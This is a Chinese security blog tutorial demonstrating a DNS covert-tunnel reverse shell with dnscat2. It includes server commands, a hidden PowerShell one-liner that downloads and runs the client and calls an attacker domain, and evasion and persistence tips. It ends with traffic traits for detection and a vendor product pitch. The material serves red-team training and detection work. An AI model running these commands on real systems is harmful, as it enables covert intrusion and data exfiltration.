长亭百川云 - 文章详情

Powershell+dnscat2实现DNS隐蔽隧道反弹Shell,和检测方法

DJ的札记

81

2024-07-13

读者也许听过很多大数据分析和人工智能安全的宣讲,那些由密密麻麻方框搭起的架构图到底效果如何,先进技术在产品中如何落地实现,其实答案也很简单,让我们一起将常见威胁工具一个个试过去便清楚了。本系列文章讲述传统安全措施难以防范的高级威胁手法和工具如何利用,并逐一演示拥有机器学习能力的标准化产品俱都能成功检测。

在安全策略严格的内网环境中,常见的C&C通讯端口都被众多安全设备所监控。如果红队对目标内网的终端进行渗透时,发现该网段只允许白名单流量出站,同时其它端口都被屏蔽时,传统C&C通讯手段无法成立,反弹Shell变得十分困难。在这种情况下,红队还有一个最后的选择:使用DNS隐蔽隧道建立Reverse Shell。本文演示使用dnscat2和dnscat2-powershell开源工具搭建利用DNS隐蔽隧道的C&C基础设施,并外传数据,绕过传统安全产品的检测。

1、工具

本次演示使用两个软件:

  1. dnscat2为开源软件,使用DNS协议创建加密C&C通道,提供服务器和客户端

    网址 https://github.com/iagox86/dnscat2

  2. dnscat2-powershell是一个powershell版本的Dnscat2客户端

    网址 https://github.com/lukebaggett/dnscat2-powershell

只用dnscat2的官方客户端也可以创建Reverse Shell,只不过需要下载win32运行程序到目标终端本地运行,虽然一般杀毒软件不会报警,但是总觉得不妥。当然读者也可以尝试转码官方客户端并构造IEX,但那是另外一个话题内容,笔者计划以后再写。从演示内容简单直接易上手的角度来看,使用dnscat2-powershell更适合本文的目标。

2、架设C&C

首先假设控制用的基础设施。笔者选择了一台阿里云服务器安装Ubuntu 16.04系统作为C&C服务器,一台Windows 10 x64虚拟机用作被攻击盗取数据的目标,另外还需要一个可以配置的域名。

DNS Tunnel示意图

虽然dnscat2提供53端口直联服务器的功能,但是想达到最好的隐蔽隧道效果,需要自行配置域名cirrus.[domain]:创建A记录,将自己的域名解析服务器(ns.cirrus.[domain])指向云服务器(IP: 3*.1**.***.***);再创建NS记录将dnsch子域名的解析交给ns.cirrus.[domain]。

在云服务器(IP: 3*.1**.***.***)上安装Dnscat2服务端。如果你熟悉Ruby和GEM,那么安装十分简单,可以跳过下面的命令。

接下来安装dnscat2 Server。

Ruby会提示什么时候用到root权限。

如果一切顺利,已经可以输入下面的命令来启动服务端:

# sudo ruby ./dnscat2.rb dnsch.cirrus.[domain] -e open -c dnschcirrus --no-cache

请注意把dnsch.cirrus.[domain]换成你自己的域名。命令行中,-c参数定义了pre-shared secret,在服务器端和客户端使用相同加密的秘密dnschcirrus,可以防止man-in-the-middle攻击,否则传输数据并未加密,有可能被监听网络流量的第三方还原;如果不加定义,dnscat2 server会生成一个字符串,记得拷贝下来在启动客户端时使用。-e参数可以规定安全级别,open代表让客户端进行选择。--no-cache,请务必在运行服务器时添加无缓存选项,因为powershell-dnscat2客户端与dnscat2服务器的caching模式不兼容。

如果没有给root权限就无法监听DNS服务所使用的53端口。

3、目标主机加载客户端

dnscat2亦有编译好的Windows客户端,感兴趣的读者可以自行下载试用。而使用powershell-dnscat2除了获得可交互的reverse shell外,依靠powershell标准的IEX加载脚本方式,从外部可信任网站下载到内存再加以利用,fileless运行客户端避免文件落地,降低风险。官方网址给出的链接为:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

读者也可以把dnscat2.ps1内容放置到目标网络信任的服务器上,躲避监控。

对红队来讲,下面启动客户端的参数需要重视。

其中Delay和MaxRandomDelay选项对于隐藏渗透行为至关重要,否则使用DNS隧道通信行为太过密集,很容易被发现。

我们重新构造一下powershell命令实现一句话脚本,更易利用并减少注意力:

powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain dnsch.cirrus.[domain] -PreSharedSecret dnschcirrus}

请注意,设置与服务器相同的通信加密用的PreSharedSecret,还有替换你自己的域名。其它参数如bypass等依读者需要自行添加。

4、DNS隐蔽隧道之上的反弹Shell

此时,我们已可以在服务器上看到客户端上线提示。

使用windows命令查看目前的控制进程有哪些。

提示符后输入window -i 9进入DESKTOP-EQIRG2L,然后启动shell,便可以交互输入命令并查看。

具体dnscat2控制命令的使用笔者就不赘述了,读者可自行查阅文档。

读者也可以尝试持久化,将上面那行powershell命令加入开机启动执行。

如果在目标终端上使用dnscat2自己的客户端,显示如下。

5、DNS隐蔽隧道流量特征

让我们一起观察dnscat2所使用的隧道流量数据。

我们很容易注意到,主要使用了CNAME、MX、以及TXT记录的查询。

dnscat2拥有独立的服务器(Ruby)和客户端(C),作者实现了一个转换器,把所有传输数据变成字节流,因此拥有一个私有的数据传输分层协议,跑在下面的DNS层之上。

对比上篇文章中提到的Cobalt Strike的DNS隐蔽隧道利用,我们可以发现dnscat2的自有格式协议明显不够清晰。例如,Cobalt Strike缺省设置,每60秒按格式 [Session ID].dnsch.cirrus.[domain] 发送A记录解析请求,向C2服务器报告上线;使用A记录查询向服务器上传数据,使用TXT记录下载指令和payloads等。

dnscat2上传和下载两个方向上的所有数据都用十六进制编码字符串传输,例如,AAA转换成为414141。域名中的任何小数点都被忽略,因此,41.4141、414.141、和414141是完全对等的。此外,该协议是不区分大小写的,所以5b和5B也是等价的(客户端和服务器处理大小写是很重要的)。

在这里,必须要补充说明的是,笔者曾经快速扫过Dnscat2的代码实现,发现其通讯的容错和纠正机制并不完善,所以有很大几率出现运行不稳定的状况。感兴趣的读者也可以自行修改优化,改善其可靠性,并加入更多逃避检测的能力。


DNS隐蔽隧道检测是识别未知威胁必不可少的关键技术能力。震惊零售业的POS木马的余波还在扩散,Home Depot和Target等巨头付出了惨重代价。这事件中肆虐的FrameworkPOS木马就采用了DNS隐蔽通道回传数据的方法,将在内存中发现的信用卡数据上传回服务器,具体格式如下

而去年曾引起广泛注意的Xshell软件被植入木马攻击事件也使用了DGA和DNS隧道技巧:

毫无疑问,思睿嘉得DLP和NTA标准产品已经能够准确检测dnscat2反弹shell,报警截图如下所示:

本系列教程介绍演示常见外部入侵和内部威胁的手法、战术、以及工具,并给出使用现有成熟产品进行检测和响应的实际方法。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2